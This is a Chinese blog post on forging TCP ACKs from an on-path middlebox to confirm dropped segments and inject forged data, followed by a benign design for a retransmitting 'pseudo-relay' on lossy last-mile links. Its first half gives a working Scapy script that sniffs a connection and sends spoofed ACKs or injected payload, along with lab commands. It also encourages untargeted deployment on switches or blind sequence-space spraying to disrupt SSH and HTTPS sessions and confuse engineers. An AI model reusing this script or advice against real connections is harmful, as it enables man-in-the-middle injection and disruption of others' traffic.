伪造ACK实现TCP数据注入

待我称王封你为后i 2022-10-22 05:22 174阅读 0赞

TCP创造并发展于1970年代～1980年代，这注定了它能工作但脆弱。

在TCP伊始，最重要的是可用，而不是高效，也不是安全，因此，在端到端TCP连接的中间，利用伪造的ACK，你很容易完成一种叫做 ***中间人攻击*** 的事情。

如果你用“TCP劫持”，“TCP中间人”，“TCP注入”等作为关键词百度或者Google，绝大部分内容都在SYN报文上做文章，诸如会话Reset，会话劫持，SYN Flood攻击等等，但实际上还有更好玩的恶作剧。

通过在中间路径上伪造ACK，你可以：

*  ***提前确认数据，扰乱TCP的ACK时钟，影响RTT测量。***  
    由于数据尚未到达receiver，提前伪造的ACK可以造成sender测量的RTT偏短，误导其BDP的测量。
 *  ***乱序确认数据，扰乱ACK到达模式，影响拥塞控制。***  
    比方说倒序发送两个伪造的ACK，可以造成sender端burst数据引发拥塞(ABC机制可减缓)。
 *  ***确认已经丢弃的数据，接收端空洞永无可弥补。***  
    只要sender收到ACK，数据就会从重传队列中永久删除，但事实上这个ACK是伪造的，真正的数据已经丢失。receiver将再也无法等到这个数据。
 *  ***确认已经丢弃的数据，伪造数据弥补空洞实现注入。***  
    参照上面一点，既然receiver在苦等再也等不到的数据，中间人便可以伪造任意数据去填补这个空洞，实现数据注入。
 *  ***伪造数据注入，使SSH，HTTPS等解密失败，TCP正常关闭。***  
    参照上面两点伪造数据注入HTTPS，SSH等加密连接，会造成解密失败，从而应用程序调用close关闭连接不是Reset掉连接。

是不是更有趣呢？特别是最后一点，大多数时候，程序员，运维以及经理在排查TCP问题的时候，总是盯着Wireshark里显示成红色的RST报文，现在他们有能力通过IPID字段的分布以及TTL字段判断该RST是不是来自中间设备了(几年前他们还做不到…)。然而，我让连接断开的方式并没有使用过时的RST，而是注入脏数据，序列号，IPID，TTL等均匹配，这样会很大程度扰乱程序员，运维和经理们的思路，让他们加班到头昏脑胀的时候陷入更加炼狱般的深渊。因此，在发送伪造ACK或者伪造数据的时候，你要做到：

*  ***伪造ACK或者伪造数据注入的时候，一定注意IPID，TTL两个IP层的字段，尽量和抓包位置看到的这两个字段匹配，这样才更逼真。比如，IPID保持单调小幅递增，TTL保持一致。***

来来来，简单比划一下。

先看拓扑：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70]

给出一个代码：

#!/usr/bin/python3
    # forone.py
    from scapy.all import *
    
    def tuple_filter(dst, src, dport):
        def parsep(packet):
            if not packet.haslayer(TCP):
                return False
    
            saddr = packet[IP].src
            daddr = packet[IP].dst
            dst_port = packet[TCP].dport
    
            return saddr == src and daddr == dst and dst_port == dport
    
        return parsep
    
    def fake_ack(iface):
        def parsep(packet):
            saddr = packet[IP].src
            sport = packet[TCP].sport
            daddr = packet[IP].dst
            dport = packet[TCP].dport
            seq = packet[TCP].seq
            ack = packet[TCP].ack
            flags = packet[TCP].flags
    
            if "S" in flags :
                return
    
            ack_seq = ack
            ack = seq + len(packet[TCP].payload)
            pkt = IP(src = daddr, dst = saddr)/TCP(sport = dport, dport = sport, flags = "A", seq = ack_seq, ack = ack)
    
            send(pkt, verbose = 0, iface = iface)
    
        return parsep
    
    def fake_data(iface):
        def parsep(packet):
            saddr = packet[IP].src
            sport = packet[TCP].sport
            daddr = packet[IP].dst
            dport = packet[TCP].dport
            seq = packet[TCP].seq
            ack = packet[TCP].ack
            flags = packet[TCP].flags
    
            pkt = IP(dst = saddr, src = daddr)/TCP(dport = sport, sport = dport, flags = flags, seq = ack, ack = seq)/"pixie\n"
            send(pkt, verbose = 0, iface = iface)
            sys.exit()
        return parsep
    
    if __name__ == "__main__":
        iface = sys.argv[1]
        dst = sys.argv[2]
        src = sys.argv[3]
        port = sys.argv[4]
        mode = sys.argv[5]
        if mode == "A":
            t = sniff(prn = fake_ack(iface),
                    lfilter = tuple_filter(dst, src, int(port)),
                    count = 5000,
                    iface = iface)
        else:
            print("D")
            t = sniff(prn = fake_data(iface),
                    lfilter = tuple_filter(dst, src, int(port)),
                    count = 5000,
                    iface = iface)

我们用nc模拟一个聊天程序，在host B上运行nc服务器：

# 172.18.0.1
    nc -l -p 5001

在host A上运行nc客户端：

# 172.16.0.1
    nc 172.18.0.1 5001

为了模拟丢包的获取，在Midbox上模拟一个针对性的丢包，这样简化我们的实验，实际环境中，还是要通过分析ACK序列来识别丢包：

# 172.18.0.2 & 172.16.0.2
    iptables -A FORWARD -m string --algo bm --string "hello" -j DROP

通过抓包，我当然能获取这两个nc建立连接的四元组信息，我在Midbox上执行伪造ACK的逻辑，试图确认一个已经丢失的报文，即包含"hello"的报文：

# 172.18.0.2 & 172.16.0.2
    forone.py enp0s9 172.18.0.1 172.16.0.1 5001 A

当host A输入hello之后，在Midbox执行伪造数据的逻辑：

forone.py enp0s10 172.16.0.1 172.18.0.1 53320 D

以下就是结果：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70 1]

> 其实哪有这么麻烦，只要你让你注入的数据比原始数据跑得更快，就能抢占掉其Sequence的位置实现数据注入。

是不是比仅仅伪造一个RST把连接打断要更优雅呢？我一直都很喜欢的，就是打人的时候跳着舞，嘴里唱着歌而不是咒骂，就像《功夫》开头那样。

上面的这种伎俩非常初级且简单，但我的意思不是评价它，我是说，如果在一个交换机或者随便一个中间节点也好，旁落节点也罢，在上面部署上面python脚本里的那般逻辑，稍微简化一点，不再过滤任何元组，只需要做下面两件事：

*  ***见了TCP Payload length为非0的报文，就反向回复ACK确认该报文内的Payload。***
 *  ***见了TCP Payload length为0的纯ACK报文，就反向注入伪造的任意或精心准备的数据。***

如果我们无法获得这样的部署位置，我仅仅随意伪造TCP四元组信息，然后利用反射原理哪怕遍历4G的sequence空间，执行上述逻辑，如何？

这相当于握着一把拥有无限子弹的冲锋枪盲扫。

程序员，运维，经理们会怎样？千万不要想办法阻止这个，以显示自己的能力，因为这种伪造ACK，伪造数据的事情甚至算不上是攻击，它是TCP固有的，充其量只是一种恶作剧，太认真就输了。

之所以写上面这段，目的当然是避免讨论，我很清楚很多程序员会抛来一万个dis，然后投送十万个解决这个问题的方法，我当然知道程序员是对的，所以自己知道自己的牛逼就好，不必让我知道，也不要鄙视我。

好了，坏事做完了，伪造ACK是不是也能做点有意义的事呢？

就着上面这些把戏，我觉得是可以玩点儿正向的花活儿的。

设想一个带宽还可以的长链路，即所谓长肥管道，lastmile丢包率非常高，TCP如何来应对这最后一公里的链路劣化？要知道，虽然仅这里丢包率高，长肥管道重新填被充是非常慢的。如何绕过去？

很不幸，绕不过去。因为lastmile的目的地就是终端，很难对这种不受控的终端进行额外的配置，不然，我们可以用以下方式创建一个分段隧道，在lastmile段采用抗丢包的CC：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70 2]

但很不幸，我们很难在终端上部署隧道，所以大多数情况下，SD-WAN的方案并不好使。

那么只好搭建一个透明代理了。

> 用IP\_TRANSPARENT option可以轻松构建一个TCP透明代理。

但是有比透明代理更高效简单的三层方案：

*  ***在lastmile转发节点为每一个路过的TCP连接cache住最大一个BDP的sequence连续的报文。***
 *  ***利用这些报文cache，实现下图的逻辑：***  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70 3]

实际上就是实现一个超级简单的超时重传，快速重传机制。我称它为 ***伪中继*** 。

至于说实现，我觉得还是比透明代理和隧道都简单，其复杂性在nf\_conntrack之下，我们可以想象用nf\_conntrack的实现方式来完成这个：

*  以TCP四元组为键构建双向流量hash表。
 *  TCP报文到达时以四元组查询hash表，找到entry。
 *  实现伪造ACK，定时器管理等逻辑。
 *  基于滑动窗口保存至多一个BDP的sequence连续的数据报文。
 *  …

这里面有一个很有意思的点，很多擅长主机网络的看到上面这种伪中继把戏会提出很多质疑，比方说引入这么复杂的逻辑势必增加处理时延，数据结构的互斥读写的同步开销会消耗CPU进一步增加处理时延，诸如此类。

这个点就是， ***我们处理的是长肥管道里的一条端到端的TCP，而不是主机收包或者发包路径。*** 一条TCP的RTT至少是ms级，长肥管道可达百ms级，为了应对lastmile的丢包引入的伪中继逻辑所带来的处理时延不过us级，这根本不是一个数量级上的事情。

此外，和分段隧道相比，伪中继是完全透明的，它不会损耗链路的MTU，而分段隧道至少要消耗一个TCP头/IP头的空间开销。

嗯，有个脑洞，分段隧道是不是也可以不用隧道模式，而用传输模式呢？不再进行再封装，而仅仅是在中间节点针对缓存的数据实施不同的CC算法。就是把上面的伪中继把戏推广到整个链路，推广到这个SD-WAN的Overlay网络，每个中转节点均对TCP数据进行缓存，在实施不同的CC算法发送数据的同时，实现超时重传逻辑和快速重传逻辑…

有点想多了。

--------------------

浙江温州皮鞋湿，下雨进水不会胖。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70]: /images/20221022/1df9f44e534f446bbf0ef3461ddcf9ba.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70 1]: /images/20221022/56bfc34f91544a129c6be07841d3e088.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70 2]: /images/20221022/12d23bc3ad3647c18edb61c6eba6d288.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RvZzI1MA_size_16_color_FFFFFF_t_70 3]: /images/20221022/641e390f3e034b91a3f9efdf19cfb241.png